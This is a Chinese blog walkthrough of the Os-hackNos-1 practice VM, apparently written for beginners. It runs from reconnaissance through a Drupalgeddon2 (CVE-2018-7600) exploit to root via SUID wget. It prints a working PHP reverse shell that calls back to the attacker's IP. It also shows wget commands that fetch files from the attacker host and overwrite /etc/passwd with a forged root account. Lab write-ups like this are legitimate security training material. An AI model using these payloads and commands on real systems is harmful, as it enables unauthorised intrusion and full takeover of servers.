news 2026/10/15 14:11:29

【Os-hackNos靶机渗透系列】Os-hackNos-1靶机详细解题教程——小白也能上手操作!

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【Os-hackNos靶机渗透系列】Os-hackNos-1靶机详细解题教程——小白也能上手操作!

目标:拿下该靶机的最高权限。

工具:kali

难度:低等

注:该靶机是继DC靶机渗透之后专门针对于信息收集强化的靶机,所以信息收集篇幅会过长。

一,信息收集

1.1利用arp-scan获得靶机IP地址

# kali arp-scan -l

其他IP地址都是固定的,所以可以直接知道靶机的IP地址:192.168.182.194

1.2利用nmap获取详细服务信息。

# kali nmap -sV 192.168.182.194

可以知道打开了端口22和80,所以我们就会去查找关于web服务信息。

1.3利用whatweb查找详细服务信息。

# kali whatweb -v 192.168.182.194

似乎只能知道web服务器和详细版本。

1.4利用扫描靶机路径

# kali dirb http://192.168.182.194 /usr/share/wordlists/dirb/common.txt

那么可以通过下面扫描出来的判断,目标路径是 :192.168.182.194/drupal/

那么就再扫描路径一次。这次扫描出来了,非常详细的路径。

# kali dirsearch -u http://192.168.182.194/drupal/ -i 200

就会发现里面扫描出来了很多配置文件,作者就下载下来了一个文件看看。

这样就可以发现 Drupal 的精准版本是 7.57 ,那么我们可以考虑去相关荷载去攻击。

二,利用CMS漏洞进行攻击

2.1利用kali找到相关荷载

我们可以通过AI搜索找到存在 CVE-2018-7600(Drupalgeddon2)这个漏洞,那么就可以找到三个荷载。

# kali searchsploit Drupalgeddon2

那我们就选择 44449.rb 荷载进行攻击(关于作者为什么会选择对的荷载,那是因为其他荷载都是尝试过了只有这个成功了)。

# kali searchsploit -m php/webapps/44449.rb # 将荷载放在桌面上 # 需要利用命令下载: gem install highline ./44449.rb http://192.168.182.194/drupal/

这样就进入了服务器里面了。

2.2进行root提权

我们可以看到我们的权限还可以,但是不是最高的。并且我们也没有本身的最高权限执行文件,那么就只好去查看 SUID提权了。

# kali find / -perm -4000 -type f 2>/dev/null

由于是RUBY的非shell交互环境(非TTY环境),所以 > 没有意义在里面,所以会有一大堆信息出来,而作者只是截取具有SUID提权的文件。 我们可以看到文件 /usr/bin/wget 具有SUID权限,并且作用是下载文件。(后面我们需要反复利用这个文件作用)

我们就需要解决非TTY环境问题。

首先需要在 kali 上打开web服务,这样可以让我们利用 /usr/bin/wget 往我们kali上下载文件。(必须要在同一局域网中才能进行下载文件)

# kali # 在 kali 桌面上执行该命令,因为文件作者都是放在桌面为标准 python3 -m http.server 8000

我们需要在kali桌面上创建文件 shell_os.php 并且在文件里面写入:

# 可以让AI给你以PHP编程编写反弹shell <?php set_time_limit(0); $ip = '192.168.182.149'; // 你的 Kali IP $port = 4444; // 监听端口 $sock = fsockopen($ip, $port); if (!$sock) { die("无法连接"); } $proc = proc_open('/bin/bash -i', array( 0 => $sock, 1 => $sock, 2 => $sock ), $pipes); ?>

我们可以利用 44449.rb 之后的非交互终端找到网站的根目录 /var/www/html ,我们就需要将PHP反弹shell写入网站根目录下面。

# hackNos /usr/bin/wget http://192.168.182.149:8000/shell_os.php -O /var/www/html/shell_os.php # 还需要在kali中执行 nc -lvnp 4444

然后我们去访问网站 http://192.168.182.194/shell_os.php 让网站解析这个PHP文件,我们就可以利用kali连接上了。

利用下面命令来提升为TTY环境,这样我们的命令就可以正常使用了。接下来,我们就利用TTY进行执行命令了。

# www-date python -c "import pty;pty.spawn('/bin/bash')"

我们可以看到文件 /usr/bin/wget 的作用是下载文件,那么我们可以利用该文件来新建一个超级用户。由于 /usr/bin/wget 只有 -O 这样覆盖文件的功能,但是我们建立超级用户就需要往 /etc/passwd 里面写入正确的格式,为了不破坏文件,必须按照下面这样做。

这个是 /etc/passwd 里面的内容,我们需要保存一份。

# /etc/passwd # 直接利用命令 /etc/passwd 得到下面 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false messagebus:x:107:111::/var/run/dbus:/bin/false uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false james:x:1000:1000:james,,,:/home/james:/bin/bash sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false

然后在我们自己的 kali 桌面上写入文件 ps.txt。这样我们创建成功了。(在这里面还有一种思路,可以不用建立新的超级用户,而是将原有的用户密码和权限在ps.txt文件进行修改,这样就可以实现james直接有最高权限。)

# 在文件中写入,我们之前保存的一份 /etc/passwd # 在第一行,写入我们伪造的用户:密码=hacker:123456 # 在kali里面执行命令 :openssl passwd -1 -salt hacker 123456 # 就会得到加盐哈希:$1$hacker$6luIRwdGpBvXdP.GMwcZp/ # 将按照root格式写入就可以了 hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false messagebus:x:107:111::/var/run/dbus:/bin/false uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false james:x:1000:1000:james,,,:/home/james:/bin/bash sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false
# hackNos /usr/bin/wget http://192.168.182.149:8000/ps.tx -O /etc/passwd
# hackNos su hacker

然后就可以输入密码 :123456

这样就得到了最高权限了,我们就成功了。(该靶机的解题思路非常的简单,但坑是非常的多,这里文章里面都规避了作者所踩到的坑,总之可以尝试一下作者文章中提到的其他的解题思路呢,喜欢不妨多多评论一下!)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/15 14:11:12

Java应用安全攻防:从静态分析到动态防护实践

1. 项目概述&#xff1a;Java安全攻防全景图在当今企业级应用开发领域&#xff0c;Java依然占据着不可撼动的统治地位。但伴随着微服务架构和云原生技术的普及&#xff0c;Java应用的安全形势却愈发严峻。去年OWASP发布的Top 10报告中&#xff0c;注入攻击和敏感数据泄露等传统…

作者头像 李华
网站建设 2026/10/15 14:10:41

【计算机单片机毕业设计指导(内含开题报告参考)】基于单片机的摄像头门禁监控与云平台管理系统设计,基于WIFI的智能门禁摄像头监控与云平台远程装置设计(033009)

文章目录20 个相关毕业设计备选题目项目研究背景摘要总体方案核心功能基础功能核心功能辅助功能技术路线开题报告一、选题依据二、设计或研究内容、预期目标及拟解决的关键问题三、研究方案四、设计或研究计划进度五、设计(论文)的预期成果与特色或创新之处项目演示关于我们项目…

作者头像 李华
网站建设 2026/10/15 14:10:35

潮湿环境使用指纹锁容易出现故障吗?

在江西待了五年&#xff0c;我最大的感受就是&#xff1a;这儿不光夏天闷热&#xff0c;冬天湿冷&#xff0c;一年四季空气里都像能拧出水来。我住在一楼&#xff0c;家里朝北的墙面到了梅雨季能渗出水珠&#xff0c;这种环境下&#xff0c;任何带电路的东西都得经受考验。今天…

作者头像 李华
网站建设 2026/10/15 14:09:46

Reactor框架实战:响应式编程核心原理与应用

1. 响应式编程与Reactor框架概述响应式编程是一种面向数据流和变化传播的编程范式&#xff0c;它使开发人员能够以声明式的方式构建异步、非阻塞的应用程序。在Java生态系统中&#xff0c;Reactor框架是响应式编程的核心实现之一&#xff0c;它基于Reactive Streams规范&#x…

作者头像 李华
网站建设 2026/10/15 14:09:42

三条命令串起开发链路:环境检查、构建与源码导航的工程化实践

刚把一个新项目从零克隆到本地&#xff0c;到第一次产出构建产物&#xff0c;再到让新同事顺着一份目录地图找到改代码的位置&#xff0c;我只用了三条命令。这件事听起来有点“标题党”&#xff0c;但它确实是这套0.2版本工作流最想解决的问题&#xff1a;环境、构建、源码目录…

作者头像 李华